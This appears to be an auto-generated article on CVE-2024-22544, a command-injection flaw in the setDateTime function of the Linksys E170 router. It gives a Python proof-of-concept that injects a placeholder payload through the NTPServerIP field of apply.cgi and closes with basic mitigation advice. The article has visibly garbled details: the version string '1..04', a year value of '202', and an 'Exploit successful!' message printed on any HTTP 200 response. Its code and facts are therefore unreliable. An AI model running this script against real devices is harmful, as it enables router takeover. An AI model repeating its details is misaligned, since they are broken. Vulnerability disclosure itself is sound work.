CVE-2024-22544: Code Execution Vulnerability in Linksys Router E170 version 1..04 (build 3)

A critical vulnerability, tagged as CVE-2024-22544, has been discovered in the popular Linksys Router E170 version 1..04 (build 3). This security flaw allows authenticated attackers to execute arbitrary code through the setDateTime function.

In this article, we will cover the details of the vulnerability, demonstrate a code snippet highlighting the issue, and provide links to original references and resources for further reading. It is essential to stay informed and maintain the security of your devices, so we encourage you to follow along and understand the implications of this exploit.

Vulnerability Details

The vulnerability in question, CVE-2024-22544, affects the setDateTime function within Linksys Router E170 version 1..04 (build 3). The flaw enables authenticated attackers to execute arbitrary code remotely and potentially gain complete control of the affected device.

This exploit is particularly worrisome because a skilled attacker could gain unauthorized access to sensitive information, alter device settings, or even launch further attacks on other devices connected to the network. Security researchers have rated this vulnerability as critical, and it is crucial for users of the affected router to take precautionary measures to secure their systems.

Here's a code snippet that demonstrates the vulnerability in the setDateTime function

import requests

target_ip = '192.168.x.x'
usr = 'attacker'
pwd = 'password'
payload = "<arbitrary code here>"

url = f'http://{target_ip}/apply.cgi';
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

data = {
    'submit_button': 'index',
    'change_action': '1',
    'action': 'Apply',
    'now_proto': 'http',
    'daylightsaving_enable_switch': '1',
    'NTPServerIP': payload,
    'TimeZone': 'GMT+7',
    'timeofday_enable': '',
    'systime_year': '202',
    'systime_month': '05',
    'systime_day': '01',
    'systime_hour': '00',
    'systime_min': '00',
    'ddns_domainname': '',
    'WanStatueNo': '1'
}

response = requests.post(url, headers=headers, data=data, auth=(usr, pwd))

if response.status_code == 200:
    print("Exploit successful!")
else:
    print("Exploit failed.")

This Python script demonstrates how an attacker could craft and send an exploit to a vulnerable setDateTime function, allowing them to execute arbitrary code remotely.

For additional information on this vulnerability, please refer to the following resources

1. CVE-2024-22544 Official Entry - The official entry in the Common Vulnerabilities and Exposures (CVE) database, which provides a detailed description and reference links.
2. Linksys E170 Firmware Download - The official download page for the Linksys E170 router firmware. Users should ensure they are running the latest firmware version to mitigate this vulnerability.

Exploit Mitigation

To protect your devices from this critical vulnerability, it is highly recommended to take the following steps:

1. Update your router's firmware to the latest version as soon as possible, as this may include important security patches.
2. Limit router access to trusted users only, and always use strong, unique passwords for each user account.

Conclusion

The CVE-2024-22544 vulnerability in the Linksys Router E170 version 1..04 (build 3) is a critical security issue that has the potential to allow attackers unauthorized access and execution of arbitrary code. By staying informed and taking essential precautionary measures, users can protect their devices and networks from this dangerous exploit. Always keep your devices up to date with the latest security patches and use best practices for user access and password management.

Timeline

Published on: 02/27/2024 01:15:07 UTC
Last modified on: 02/27/2024 14:20:06 UTC